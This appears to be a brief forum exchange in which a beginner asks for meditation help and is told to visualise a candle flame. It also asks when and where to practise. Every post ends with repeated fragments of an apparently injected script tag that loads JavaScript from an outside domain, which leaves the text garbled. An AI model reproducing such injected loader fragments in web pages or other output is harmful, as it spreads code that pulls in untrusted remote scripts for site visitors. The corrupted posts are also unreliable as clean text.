hi im new!plz help me!

Try meditating on an object ..best way is to meditate on a candle flame firstly ..watch how the flame moves and then close your eyes and picture the flame of the candle moving in your head..visualisation isalso about , taste ,touch ,feel etc. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

okeyy i'll try that, is there like a spesial time of the day to meditate or may i do it whenever i wish ? can i practice meditating in my room or outdoors (at night is the best time for me cuz its the only time its quiet around here) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>